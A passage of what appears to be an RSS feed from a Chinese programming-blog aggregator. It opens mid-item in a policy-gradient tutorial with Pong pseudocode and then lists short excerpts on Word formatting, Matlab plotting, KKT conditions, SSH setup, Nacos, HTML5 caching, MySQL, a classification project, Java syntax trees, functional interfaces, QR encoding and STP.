对象系统：策略梯度的学习对象，这个对象即可以是一个系统，比如汽车或一个游戏，也可以是一个对手，比如势头剪刀布的游戏对手或者一个职业围棋手。&#xA;Policy策略：表示在状态和参数条件下发生动作的概率。&#xA;Episode轮次：表示从起始状态开始使用某种策略产生动作与对象系统交互，直到某个终结状态结束。比如在围棋游戏中的一个轮次就是从棋盘中的第一个落子开始直到对弈分出胜负，或者自动驾驶的轮次指从汽车启动一直到顺利抵达指定的目的地，当然撞车或者开进水塘也是种不理想的终结状态。&#xA;Trajectory轨迹：表示在PG一个轮次的学习中，状态、动作和奖励的顺序排列。举个栗子：。由于策略产生的是非确定的动作，同一个策略在多个轮次可以产生多个不同的轨迹。&#xA;轮次奖励：表示在一个轮次中依次动作产生的奖励的总和。在实现中，对每个策略评估奖励期望时，会求多个轮次的平均值。&#xA;策略梯度的学习是一个策略的优化过程，最开始随机的生成一个策略，当然这个策略对对象系统一无所知，所以用这个策略产生的动作会从对象系统那里很可能会得到一个负面奖励。为了击败对手，我们需要逐渐的改变策略。策略梯度在一轮的学习中使用同一个策略直到该轮结束，通过梯度上升改变策略并开始下一轮学习，如此往复，直到轮次累计奖励收敛为止。&#xA;目标函数 根据上述策略梯度的基本原理，我们可以把它的目标形式化的描述为以下表达式：&#xA;这个函数表示策略在0到t步累计奖励的期望值。之所以是期望值，是因为每一步的奖励是根据策略（生成动作选择的概率分布）得到的奖励期望；而不是选择一个确定动作，得到确定的奖励。策略梯度的目标就是确定构成策略的参数，使得取得最大的期望值。即：&#xA;策略梯度算法中使用梯度上升来更新参数，根据数学期望的定义：&#xA;求导得：&#xA;这里进行不下去了，由于依赖于，无法直接求导，因此要使用一个小技巧。根据进行转换：&#xA;代入得：&#xA;这回求完了，根据期望的定义往回转换，得：&#xA;由于：&#xA;可得最终结果：&#xA;把期望用均值来近似：&#xA;折腾这么一大顿，终于求完了，这就是要优化的目标函数。即使你没太看懂，也能从这里大概做一个直观理解：奖励高时策略倾向于增加相应动作的概率，奖励低时就减小。策略梯度和传统的监督式学习的学习过程还是比较相似的：每轮次都由前向计算和反向传播构成，前向计算负责计算目标函数，反向传播负责更新算法的参数，依此进行多轮次的学习指导学习效果稳定收敛。唯一不同的是，监督式学习的目标函数相对直接，即目标值和真实值的差，这个差值通过一次前向反馈就能得到；而策略梯度的目标函数源自轮次内所有得到的奖励，并且需要进行一定的数学转换才能计算，另外由于用抽样模拟期望，也需要对同一套参数进行多次抽样来增加模拟的准确性。&#xA;应用实例 下面我们通过一个实例介绍如何应用PG解决具体问题：学习玩Atari PONG游戏。 PONG是一个模拟打乒乓球的游戏，玩家控制屏幕一侧的一小块平面模拟乒乓球拍上下移动来击球。如果迫使对方失球则己方一侧的得分加一，反之对方得分。使用策略梯度学习PONG游戏的基本思路是使用算法控制的一方与游戏控制的另一方进行对弈，通过观察游戏状态以及比分变化调整动作（向上或向下）的概率分布，使本方得分最大化。学习的过程可以写成以下代码：&#xA;policy = build_policy_model() game.start() while True: state = game.currentState() action, prob = policy.feedforward(state) reward = game.play(action) trajectory.append((state, prob, action, reward)) if game.terminated(): if count &amp;lt; SAMPLE_COUNT: trajectories.append(trajectrory) trojectroy = [] count += 1 break else: policy.backpropagation(trajectories) game.restart() trajectory = [] trajectories = [] count = 0 第 1 行构造一个策略模型并随机的初始化模型的参数。模型的功能是通过前向反馈由状态信息计算出所有动作的概率分布，例如（向上 90%，向下 10%），并选取概率最大的动作发给游戏作为指令。</description>
    </item>
    <item>
      <title>文件头_技巧 | Word双行文件头的制作方法</title>
      <link>https://bchobby.github.io/posts/a35fcdbd9b751e47d05fdf50cd99cf45/</link>
      <pubDate>Wed, 13 Jan 2021 17:22:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a35fcdbd9b751e47d05fdf50cd99cf45/</guid>
      <description>大家晚上好！&#xA;今天和小伙伴分享三个Word制作双行表头的方法。&#xA;1、利用word双行合一功能&#xA;2、利用word的域代码功能&#xA;3、利用word表格工具制作&#xA;1&#xA;双行合一功能&#xA;说到制作word的双行表头，简单的表头，我们可以利用word自带的【双行合一】功能实现。&#xA;依次单击【开始】选项卡-在【段落】功能组-找到【中文版式】在下拉菜单列表找到【双行合一】命令，然后在弹出的【双行合一】对话框中的文本框中输入文字，单击确认。&#xA;在这里有一个地方需要我们注意，如果输入的错行文字字符数不相等，Word不会按照我们的意愿换行，而是按总字符数自动调整两行文字，效果如下图；&#xA;但友善的Word可以让我们插入空格来间隔字符，这样就可以将两行的单位名称分隔开来。&#xA;双行合一后如果字体太大(小)，可以通过增大(减少)字号来调整。&#xA;2&#xA;Word域代码&#xA;一看见word的域功能，估计很多小伙伴们都表示拒绝。第一个想法肯定是域功能的都太难太麻烦，其实真相不是这样的。&#xA;我们可通过代码来完成输入，首先按【CTRL+F9】输入一个空域,然后输入EQ \a(某某市教育局,某某市文化局)，按快捷键【Alt+F9】切换域代码，最后【F9】刷新。&#xA;太简单了，有没有？小伙伴们，赶紧学起来啊！&#xA;3&#xA;Word表格工具&#xA;很多时候实际需求双行表头制作比较复杂，我们可以利用Word的表格工具实现双行表头，而且利用表格工具创建的表头相对而言比较灵活。不仅仅可以制作双行表头，三行表头甚至更多都没有问题。&#xA;在Word中创建一个两行两列的表格，在表格中输入表头信息，将第二列合并为一个单元格，设置为居中，将所有单元格中的字号调整为合适的大小。最后，将整个表格的框线设置无框线，就大功告成啦！&#xA;4&#xA;操作视频&#xA;附上操作视频，小伙伴们，跟着视频一起操作吧&#xA;好啦今儿分享到这里，祝大家好运！&#xA;喜欢的同鞋请转发、点赞！&#xA;推荐阅读&#xA;1 . Word技巧达人推荐文章索引2 . 给你一份史上最全的Word 操作快捷键！3 . 收藏 | 表格原来可以这么用！4 . 将手动表格题注编号变成自动编号5 . 技巧 | 用表格定位封面信息在使用Word的过程中，你遇到过让人非常困惑的问题吗？欢迎留言分享哦！同时欢迎大家加入QQ群：Word办公技巧交流群435031885，一起交流，共同成长！ 欢迎朋友们分享办公技巧，邮箱：wordjqdr@126.com&#xA;想要学习更多Word排版技巧，单击【</description>
    </item>
    <item>
      <title>matlab画图并倒转纵坐标_Matlab如何将横坐标翻转</title>
      <link>https://bchobby.github.io/posts/9954266c3b8b2e56019efbfb266b01da/</link>
      <pubDate>Wed, 13 Jan 2021 14:27:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9954266c3b8b2e56019efbfb266b01da/</guid>
      <description>当画图时，如何将横坐标在显示时是从大到小显示啊，我写的程序中横坐标是从50000开始减小，直到0，但是作图出来横坐标却还是从小到大排列的，我把属性里横坐标翻转了一下可以了，请教一下有没有另外一种方法，就是添加一条语句就可以呢？我的程序如下：&#xA;g=9.8*3.28;&#xA;Vown=200*1852*3.28/3600;&#xA;Vint=200*1852*3.28/3600;&#xA;X=50000;&#xA;Y=0;&#xA;intheading =0.0001;&#xA;intbank =5;&#xA;psii=intheading*2*pi/360;&#xA;phii=intbank*2*pi/360;&#xA;R=abs(Vint*Vint/(g*tan(phii)));&#xA;psiidot=g*tan(phii)/Vint;&#xA;Xd=[];&#xA;Yd=[];&#xA;t1=20;&#xA;t2=30;&#xA;for t=0:0.1:t1&#xA;Xd=[Xd,X-Vint*t];&#xA;Yd=[Yd,0];&#xA;end&#xA;plot(Xd,Yd);&#xA;hold on;&#xA;grid on ;&#xA;for t=t1:0.1:t2;&#xA;Xd=[Xd,X-(Vint*t1+(Vint/psiidot)*(sin(psiidot*(t-t1)+psii)-sin(psii)))];&#xA;Yd=[Yd,Y+(Vint/psiidot)*(cos(psii)-cos(psiidot*(t-t1)+psii))];&#xA;end&#xA;plot(Xd,Yd);&#xA;hold on;&#xA;grid on ;&#xA;我想要的坐标示意图如下图&#xA;未命名.jpg&#xA;(31.62 KB, 下载次数: 0)&#xA;2010-1-8 16:54 上传</description>
    </item>
    <item>
      <title>判断kkt条件的例题_KKT条件原理</title>
      <link>https://bchobby.github.io/posts/3e97770afdea0e02cfc7ac4e0340bb0a/</link>
      <pubDate>Wed, 13 Jan 2021 11:28:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e97770afdea0e02cfc7ac4e0340bb0a/</guid>
      <description>问题引入&#xA;max f(x, y)&#xA;s.t.&#xA;g(x,y) &amp;lt;= 0&#xA;几何解释&#xA;a. g(x ,y) &amp;lt;= 0为上图中z = 0平面中的圆，圆的边表示g(x, y) = 0，圆的内部表示g(x, y) &amp;lt; 0。&#xA;b. z = f(x, y)为上图中的曲面。&#xA;上述极值问题就是要求当点(x, y)落在圆内时(包括圆的边)，f(x, y)的最大值。&#xA;1、 如果极值点在圆内，则显然有&#xA;f&#39;(x, y) = 0&#xA;g(x, y) &amp;lt; 0&#xA;2、 如果极值点在圆边上，有拉格朗日乘子法我们知道&#xA;f’(x, y) + λg’(x ,y) = 0&#xA;g(x, y) = 0&#xA;如果是数学考试，我们直接求出上面两种情况的所有解(x, y)，再带入f(x, y)计算，选取最大值即可。&#xA;对偶问题&#xA;稍微修改一下文章开头的极值问题，得到新的极值问题1&#xA;min f(x, y)&#xA;s.t.&#xA;g(x,y) &amp;lt;= 0&#xA;拉格朗日函数如下&#xA;F(x, y, λ) = f(x, y) + λg(x, y)</description>
    </item>
    <item>
      <title>用MobaXterm 远程连接ubuntu虚拟机</title>
      <link>https://bchobby.github.io/posts/700f3bd3560438ba994accf1cc26c23a/</link>
      <pubDate>Wed, 13 Jan 2021 09:32:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/700f3bd3560438ba994accf1cc26c23a/</guid>
      <description>尝试MobaXterm从windows10宿主机去ssh连接我的Ubuntu步骤：&#xA;首先我Ubuntu网络连接模式是NAT模式&#xA;我先执行了下面的两条命令，确保ubuntu虚拟机安装了open ssh&#xA;sudo apt-get install openssh-client&#xA;sudo apt-get install openssh-server&#xA;然后执行下面的步骤：&#xA;1.查看Ubuntu的IP地址，首先下载net-tools: 执行sudo apt-get install net-tools&#xA;然后执行sudo ifconfig -a&#xA;我觉得应该是192.168.159.128&#xA;2.查看windows10的IP地址：CMD下执行ipconfig，就可以找到 本地IP地址(IPv4)&#xA;3.然后我Ubuntu里我去ping了宿主机IP，可以ping通：&#xA;4.我宿主机去ping Ubuntu虚拟机，ping不通。mobaXterm里也可以右键session去ping host&#xA;我按照https://www.cnblogs.com/zzgyq/p/8480674.html 的第五步去配置了VMnet8的IP地址就可以ping通了&#xA;windows10里设置，找到网络连接&#xA;选中VMnet8，右键属性，双击IPv4&#xA;然后做了如下配置，目的是 完成VMnet8的配置，与虚拟机IP地址处于同一局域网，可查看步骤1中虚拟机的IP地址详情&#xA;5.再去ping 虚拟机就可以ping通了。&#xA;6.通过MobaXterm去建立SSH连接； 如果是用密钥登录&#xA;密钥的使用：&#xA;在配置会话时，指定private key路径进行密钥登录。指定好你的id_rsa.pub</description>
    </item>
    <item>
      <title>【nacos】springboot @Value @NacosValue 使用时可能无效</title>
      <link>https://bchobby.github.io/posts/14038fc68e6ec9756438a017808d319f/</link>
      <pubDate>Wed, 13 Jan 2021 08:16:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14038fc68e6ec9756438a017808d319f/</guid>
      <description>1 @NacosValue 自动刷新 环境依赖版本 &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;nacos-config-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.2.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; @NacosPropertySource(dataId = &#34;mydata&#34;, autoRefreshed = true) 同时 @NacosValue(value = &#34;${my_ky}&#34;,autoRefreshed = true) 同时设置autoRefreshed = true 才能接受到nacos的push数据。 2 @Value 自动刷新 环境依赖版本 SpringCloud 是个大前提，不然还是考虑上面方式或者原生接入方案；&#xA;@NacosPropertySource(dataId = &#34;mydata&#34;, autoRefreshed = true) 同时 @RefreshScope 方能接收到nacos的push数据。&#xA;3 小结 1 两种实现方式都是有点别扭&#xA;2 @NacosValue 对SPEL表达式支持不友好，例如List Map的注入需要注意和@Value的区别，如@Value(&#34;#{&#39;${mydata}&#39;.split(&#39;,&#39;)}&#34;) 支持自定义分隔符List，但是NacosValue不支持（不过可以使用默认的逗号分隔符）注入List 或者 []&#xA;3 参考 https://github.com/alibaba/spring-cloud-alibaba/issues/1474</description>
    </item>
    <item>
      <title>h5手机端浏览器机制_深入理解HTML5离线缓存机制</title>
      <link>https://bchobby.github.io/posts/706afbda93931a628ea47855e5d0b728/</link>
      <pubDate>Tue, 12 Jan 2021 22:10:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/706afbda93931a628ea47855e5d0b728/</guid>
      <description>TML5提供了一种离线应用缓存机制，使得网页应用可以离线使用，这种机制在移动端浏览器上支持度非常广，所有版本的android和ios浏览器都能很好的支持。我们可以放心的使用该特性来加速移动端页面的访问速度。&#xA;开启离线缓存的步骤也非常简单：&#xA;(1) 准备缓存清单文件(menifest text/cache-manifest)，用于描述页面需要缓存的资源列表&#xA;(2) 在需要离线使用的页面中添加menifest属性，用于指定缓存清单文件的路径&#xA;让我们首先理解浏览器实现离线缓存的详细步骤，然后探讨使用离线缓存加速移动端网页访问速度的方案。&#xA;1. 下载/更新缓存的详细步骤&#xA;(1)当浏览器访问一个包含 manifest 特性的文档时，如果应用缓存不存在，浏览器会加载文档，然后获取所有在清单文件中列出的文件，生成应用缓存的第一个版本。&#xA;(2)对该文档的后续访问会使浏览器直接从应用缓存(而不是服务器)中加载文档与其他在清单文件中列出的资源。此外，浏览器还会向 window.applicationCache 对象发送一个 checking 事件，在遵循合适的 HTTP 缓存规则前提下，获取清单文件。&#xA;(3)如果当前缓存的清单副本是最新的，浏览器将向 applicationCache 对象发送一个 noupdate 事件，到此，更新过程结束。注意，如果你在服务器修改了任何缓存资源，同时也应该修改清单文件，这样浏览器才能知道它需要重新获取资源。&#xA;(4)如果清单文件已经改变，文件中列出的所有文件—也包括通过调用 applicationCache.add() 方法添加到缓存中的那些文件—会被获取并放到一个临时缓存中，遵循适当的 HTTP 缓存规则。对于每个加入到临时缓存中的文件，浏览器会向 applicationCache 对象发送一个 progress 事件。如果出现任何错误，浏览器会发送一个 error 事件，并暂停更新。&#xA;(5)一旦所有文件都获取成功，它们会自动移送到真正的离线缓存中，并向 applicationCache 对象发送一个 cached 事件。鉴于文档早已经被从缓存加载到浏览器中，所以更新后的文档不会重新渲染，直到页面重新加载(可以手动或通过程序).&#xA;以上只是一些详细步骤，具体也有一些值得注意的细节，比如menifest文件中列出的资源url必须和menifest本身使用同样的网络协议，如果menifest文件使用的是http协议，则列表中https协议的文件就会被忽略。总之，每当在使用Application Cache的过程中遇到奇怪的问题时，随时查阅W3C标准文档。&#xA;2.离线缓存事件流&#xA;浏览器在解析HTML文档的过程中，遇到HTML标记的menifest属性时，就立即在后台开启一个新的进程下载需要离线缓存的资源。在下载离线缓存的过程中，会在ApplicationCache上触发一系列事件。&#xA;关于离线缓存中要触发的事件，有一个很有趣的特性。从离线缓存W3C标准中，我们经常看到如下描述：&#39;queue a post-load task to fire a simple event named (checking|noupdate|downloading)&#39;，每一个HTML文档都有一个离线缓存事件队列(queue)，离线缓存下载过程中的事件都存放在这个队列里，用于在文档的onload事件触发后执行。也就是说，所有的ApplicationCache事件都在html的onload事件触发后才触发。&#xA;3.使用离线缓存加速移动端网页开发&#xA;上文提到过，Application Cache在移动端支持的很好，几乎所有的android浏览器和ios浏览器都能很好的支持。事实上使用Application Cache加速移动端网页访问速度是行业类普遍采用的优化方案，在包括新浪微博和QQ浏览器等大型产品中都有非常广泛的使用。但是在使用离线缓存时，我们需要留意一些问题。&#xA;(1).二次更新的问题&#xA;我们知道每次使用离线应用时，在有网络连接的情况下，浏览器都会逐字节的检查menifest文件是否有更新，而当menifest文件有更新时，就会重新下载menifest文件中列出的所有资源，资源下载成功后会触发updateready事件。这时离线应用本身并不会立即更新，而会在下次访问时才更新，这就是我们所说的二次更新。我们在开发web程序时，一般都是前端页面和后端接口同步更新，但是二次更新问题会导致页面更新不受控制，无法和后端接口同步更新，因此要做好后端接口的向前兼容，这迫使我们抛弃传统的web开发思路而采取native开发思路来管理离线应用。我们可以通过检测updateready事件，在新的缓存可用时通知用户更新。&#xA;window.addEventListener(&#39;load&#39;, function(e) {&#xA;window.applicationCache.addEventListener(&#39;updateready&#39;, function(e) {&#xA;//缓存更新完毕</description>
    </item>
    <item>
      <title>MySQL多表与事物</title>
      <link>https://bchobby.github.io/posts/d21147e9d8e378c438f2d7084110e1a8/</link>
      <pubDate>Tue, 12 Jan 2021 19:04:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d21147e9d8e378c438f2d7084110e1a8/</guid>
      <description>多表查询： * 查询语法： select 列名列表 from 表名列表 where.... * 准备sql # 创建部门表 CREATE TABLE dept( id INT PRIMARY KEY AUTO_INCREMENT, NAME VARCHAR(20) ); INSERT INTO dept (NAME) VALUES (&#39;开发部&#39;),(&#39;市场部&#39;),(&#39;财务部&#39;); # 创建员工表 CREATE TABLE emp ( id INT PRIMARY KEY AUTO_INCREMENT, NAME VARCHAR(10), gender CHAR(1), -- 性别 salary DOUBLE, -- 工资 join_date DATE, -- 入职日期 dept_id INT, FOREIGN KEY (dept_id) REFERENCES dept(id) -- 外键，关联部门表(部门表的主键) ); INSERT INTO emp(NAME,gender,salary,join_date,dept_id) VALUES(&#39;孙悟空&#39;,&#39;男&#39;,7200,&#39;2013-02-24&#39;,1); INSERT INTO emp(NAME,gender,salary,join_date,dept_id) VALUES(&#39;猪八戒&#39;,&#39;男&#39;,3600,&#39;2010-12-02&#39;,2); INSERT INTO emp(NAME,gender,salary,join_date,dept_id) VALUES(&#39;唐僧&#39;,&#39;男&#39;,9000,&#39;2008-08-08&#39;,2); INSERT INTO emp(NAME,gender,salary,join_date,dept_id) VALUES(&#39;白骨精&#39;,&#39;女&#39;,5000,&#39;2015-10-07&#39;,3); INSERT INTO emp(NAME,gender,salary,join_date,dept_id) VALUES(&#39;蜘蛛精&#39;,&#39;女&#39;,4500,&#39;2011-03-14&#39;,1); * 笛卡尔积： * 有两个集合A,B .</description>
    </item>
    <item>
      <title>MySQL约束</title>
      <link>https://bchobby.github.io/posts/a576b34f0bf8856702e8bc8b31d9da29/</link>
      <pubDate>Tue, 12 Jan 2021 19:02:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a576b34f0bf8856702e8bc8b31d9da29/</guid>
      <description>DQL:查询语句 1. 排序查询 * 语法：order by 子句 * order by 排序字段1 排序方式1 ， 排序字段2 排序方式2... * 排序方式： * ASC：升序，默认的。 * DESC：降序。 * 注意： * 如果有多个排序条件，则当前边的条件值一样时，才会判断第二条件。 2. 聚合函数：将一列数据作为一个整体，进行纵向的计算。 1. count：计算个数 1. 一般选择非空的列：主键 2. count(*) 2. max：计算最大值 3. min：计算最小值 4. sum：计算和 5. avg：计算平均值 * 注意：聚合函数的计算，排除null值。 解决方案： 1. 选择不包含非空的列进行计算 2. IFNULL函数 3. 分组查询: 1. 语法：group by 分组字段； 2. 注意： 1. 分组之后查询的字段：分组字段、聚合函数 2. where 和 having 的区别？ 1. where 在分组之前进行限定，如果不满足条件，则不参与分组。having在分组之后进行限定，如果不满足结果，则不会被查询出来 2. where 后不可以跟聚合函数，having可以进行聚合函数的判断。 -- 按照性别分组。分别查询男、女同学的平均分 SELECT sex , AVG(math) FROM student GROUP BY sex; -- 按照性别分组。分别查询男、女同学的平均分,人数 SELECT sex , AVG(math),COUNT(id) FROM student GROUP BY sex; -- 按照性别分组。分别查询男、女同学的平均分,人数 要求：分数低于70分的人，不参与分组 SELECT sex , AVG(math),COUNT(id) FROM student WHERE math &amp;gt; 70 GROUP BY sex; -- 按照性别分组。分别查询男、女同学的平均分,人数 要求：分数低于70分的人，不参与分组,分组之后。人数要大于2个人 SELECT sex , AVG(math),COUNT(id) FROM student WHERE math &amp;gt; 70 GROUP BY sex HAVING COUNT(id) &amp;gt; 2; SELECT sex , AVG(math),COUNT(id) 人数 FROM student WHERE math &amp;gt; 70 GROUP BY sex HAVING 人数 &amp;gt; 2; 4.</description>
    </item>
    <item>
      <title>分类预测：会员回购预测</title>
      <link>https://bchobby.github.io/posts/a73b51e433c0fa82b2d2bf137d7d1fa6/</link>
      <pubDate>Tue, 12 Jan 2021 18:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a73b51e433c0fa82b2d2bf137d7d1fa6/</guid>
      <description>项目说明&#xA;数据集来自阿里天池：会员回购预测&#xA;目的是为了判断顾客是否会响应活动从而回购，也就是一个是否响应活动的二分类模型&#xA;数据说明&#xA;train&amp;amp;test&#xA;target:“0”代表不回购，“1”代表回购&#xA;transactions&#xA;代码&#xA;import pandas as pd import numpy as np from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression from imblearn.over_sampling import SMOTE from sklearn.svm import SVC from sklearn.ensemble import GradientBoostingClassifier from sklearn.metrics import roc_auc_score, average_precision_score, confusion_matrix, classification_report # 读取数据 filename = r&#39;C:\Users\liuhao\Desktop\新建文件夹\会员回购\train.csv&#39; filename1 = r&#39;C:\Users\liuhao\Desktop\新建文件夹\会员回购\test.csv&#39; data = pd.read_csv(filename) data1 = pd.read_csv(filename1) train = data.copy() test = data1.copy() # 数据处理和特征构造 train[&#39;first_active_month&#39;] = pd.to_datetime(train[&#39;first_active_month&#39;],format=&#39;%Y-%m-%d&#39;) day = pd.</description>
    </item>
    <item>
      <title>树子类遍历父类_Java中的屠龙之术——如何修改语法树？</title>
      <link>https://bchobby.github.io/posts/15410d008ff09078c45a63cea8c0af3c/</link>
      <pubDate>Tue, 12 Jan 2021 18:17:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15410d008ff09078c45a63cea8c0af3c/</guid>
      <description>面试终败“高并发”，25天苦心钻研，居然整出一份并发宝典？都是“算法”惹的祸，字节三面处处坑，我的offer要凉了？春招指南之“性能调优”：MySQL+Tomcat+JVM，还怕面试官的轰炸？ JCTree的介绍 JCTree是语法树元素的基类，包含一个重要的字段pos，该字段用于指明当前语法树节点(JCTree)在语法树中的位置，因此我们不能直接用new关键字来创建语法树节点，即使创建了也没有意义。此外，结合访问者模式，将数据结构与数据的处理进行解耦，部分源码如下：&#xA;1public abstract class JCTree implements Tree, Cloneable, DiagnosticPosition { 2 3 public int pos = -1; 4 5 ... 6 7 public abstract void accept(JCTree.Visitor visitor); 8 9 ...10} 我们可以看到JCTree是一个抽象类，这里重点介绍几个JCTree的子类&#xA;JCStatement：声明语法树节点，常见的子类如下 JCBlock：语句块语法树节点 JCReturn：return语句语法树节点 JCClassDecl：类定义语法树节点 JCVariableDecl：字段/变量定义语法树节点JCMethodDecl：方法定义语法树节点JCModifiers：访问标志语法树节点JCExpression：表达式语法树节点，常见的子类如下 JCAssign：赋值语句语法树节点 JCIdent：标识符语法树节点，可以是变量，类型，关键字等等 TreeMaker介绍 TreeMaker用于创建一系列的语法树节点，我们上面说了创建JCTree不能直接使用new关键字来创建，所以Java为我们提供了一个工具，就是TreeMaker，它会在创建时为我们创建的JCTree对象设置pos字段，所以必须使用上下文相关的TreeMaker对象来创建语法树节点。&#xA;具体的API介绍可以参照，TreeMakerAPI，接下来着重介绍一下常用的几个方法。&#xA;TreeMaker.Modifiers TreeMaker.Modifiers方法用于创建访问标志语法树节点(JCModifiers)，源码如下&#xA;1public JCModifiers Modifiers(long flags) { 2 return Modifiers(flags, List.nil()); 3} 4 5public JCModifiers Modifiers(long flags, 6 List annotations) { 7 JCModifiers tree = new JCModifiers(flags, annotations); 8 boolean noFlags = (flags &amp;amp; (Flags.</description>
    </item>
    <item>
      <title>函数式接口</title>
      <link>https://bchobby.github.io/posts/c63466b39460e3b6f7fd69b3958e664d/</link>
      <pubDate>Tue, 12 Jan 2021 16:26:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c63466b39460e3b6f7fd69b3958e664d/</guid>
      <description>第一章 函数式接口 1.1 概念 函数式接口在Java中是指：有且仅有一个抽象方法的接口。&#xA;函数式接口，即适用于函数式编程场景的接口。而Java中的函数式编程体现就是Lambda，所以函数式接口就是可以适用于Lambda使用的接口。只有确保接口中有且仅有一个抽象方法，Java中的Lambda才能顺利地进行推导。&#xA;备注：“语法糖”是指使用更加方便，但是原理不变的代码语法。例如在遍历集合时使用的for-each语法，其实底层的实现原理仍然是迭代器，这便是“语法糖”。从应用层面来讲，Java中的Lambda可以被当做是匿名内部类的“语法糖”，但是二者在原理上是不同的。&#xA;1.2 格式 只要确保接口中有且仅有一个抽象方法即可：&#xA;修饰符 interface 接口名称 { public abstract 返回值类型 方法名称(可选参数信息); // 其他非抽象方法内容 } 由于接口当中抽象方法的 public abstract 是可以省略的，所以定义一个函数式接口很简单：&#xA;public interface MyFunctionalInterface { void myMethod(); } 1.3 @FunctionalInterface注解 与 @Override 注解的作用类似，Java 8中专门为函数式接口引入了一个新的注解： @FunctionalInterface 。该注解可用于一个接口的定义上：&#xA;@FunctionalInterface public interface MyFunctionalInterface { void myMethod(); } 一旦使用该注解来定义接口，编译器将会强制检查该接口是否确实有且仅有一个抽象方法，否则将会报错。需要注意的是，即使不使用该注解，只要满足函数式接口的定义，这仍然是一个函数式接口，使用起来都一样。&#xA;1.4 自定义函数式接口 对于刚刚定义好的 MyFunctionalInterface 函数式接口，典型使用场景就是作为方法的参数：&#xA;public class Demo09FunctionalInterface { // 使用自定义的函数式接口作为方法参数 private static void doSomething(MyFunctionalInterface inter) { inter.myMethod(); // 调用自定义的函数式接口方法 } public static void main(String[] args) { // 调用使用函数式接口的方法 doSomething(() ‐&amp;gt; System.</description>
    </item>
    <item>
      <title>关于QRCode形成的二维码中含有汉字，有时会出现汉字乱字符问题</title>
      <link>https://bchobby.github.io/posts/714c4264ba43313f898b278c48a92818/</link>
      <pubDate>Tue, 12 Jan 2021 15:16:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/714c4264ba43313f898b278c48a92818/</guid>
      <description>问题：一直在用QRCODE,但之前没有包含汉字，这次把汉字就进去竟然会出现乱码，且同样的字比如“黑”这个字，直接输入“黑&#34;，手机扫描出来是乱码，但如果输入”货号：黑“，则能正常显示。&#xA;解决办法：编码问题所致，先对要编码的字符进行转换，转为utf-8，采用AnsiToUTF8即可。 function AnsiToUTF8(const S: AnsiString): UTF8String;</description>
    </item>
    <item>
      <title>指定端口_如何判断STP的根网桥.根端口.指定端口？</title>
      <link>https://bchobby.github.io/posts/ad33dc0bbe5976749ebf8671144354a0/</link>
      <pubDate>Tue, 12 Jan 2021 14:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad33dc0bbe5976749ebf8671144354a0/</guid>
      <description>在学习网络技术STP中，会遇到根网桥、根端口、指定端口的判定；那么这些端口的判断依据是什么呢？判断过程是怎么样的呢? 下面由小编来简单说一下。&#xA;工具/原料 STP生成树协议技术原理&#xA;方法/步骤 概念：STP协议可应用于在网络中建立树形拓扑，避免网络中的环路；它是一种公开的协议适合所有厂商的网络设备，在配置上和体现功能强度上有所差别，但是在原理和应用效果是一致的。&#xA;STP端口状态：&#xA;Blocking(阻塞状态)：二层端口为非指定端口，也不会参与数据帧的转发。&#xA;Listening(侦听状态)：生成树会根据交换机所接收到的BPDU而判断出了这个端口应该参与数据帧的转发。&#xA;Learning(学习状态)：这个二层端口准备参与数据帧的转发，并开始填写MAC表。在默认情况下，端口会在这种状态下停留15秒钟时间。&#xA;Forwarding(转发状态)：这个二层端口已经成为了活动拓扑的一个组成部分，它会转发数据帧，并同时收发BPDU。&#xA;Disabled(禁用状态)：这个二层端口不会参与生成树，也不会转发数据帧。&#xA;选择根网桥的依据，交换机之间选择网桥ID值最小的交换机作为网络中的根网桥。交换机优先级(缺省32768)和MAC地址构成网桥ID。&#xA;选择根端口(RP)的依据是：&#xA;1&amp;gt;根路径成本最低 (根据链路带宽大小来定的，链路带宽越大成本越低)2&amp;gt;直连的网桥ID最小 3&amp;gt;端口ID最小 (每个交换机的端口都有一个端口ID ：0、1、2、3、4、5....)&#xA;非根桥上的指定端口(DP)：&#xA;1&amp;gt;根路径成本最低2&amp;gt;端口所在的网桥的ID值较小3&amp;gt;端口ID值较小&#xA;STP协议不足：&#xA;1、拓扑收敛慢，当网络拓扑发生改变时，STP协议需要50-52秒的时间才能完成整个收敛过程；&#xA;2、不能提供负载均衡的功能。在网络中出现环路的时候，生成树协议就简单的将环路进行阻塞(Block)，这样该链路就不能进行数据包的转发，造成网络传输链路资源的浪费。&#xA;注意事项 掌握STP协议的原理，多实战。</description>
    </item>
    <item>
      <title>2010工具栏图标详解_Creo7.0分模教程之多主体新方法视频详解</title>
      <link>https://bchobby.github.io/posts/4a7fabd3466aa80353e841130e585274/</link>
      <pubDate>Tue, 12 Jan 2021 12:01:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a7fabd3466aa80353e841130e585274/</guid>
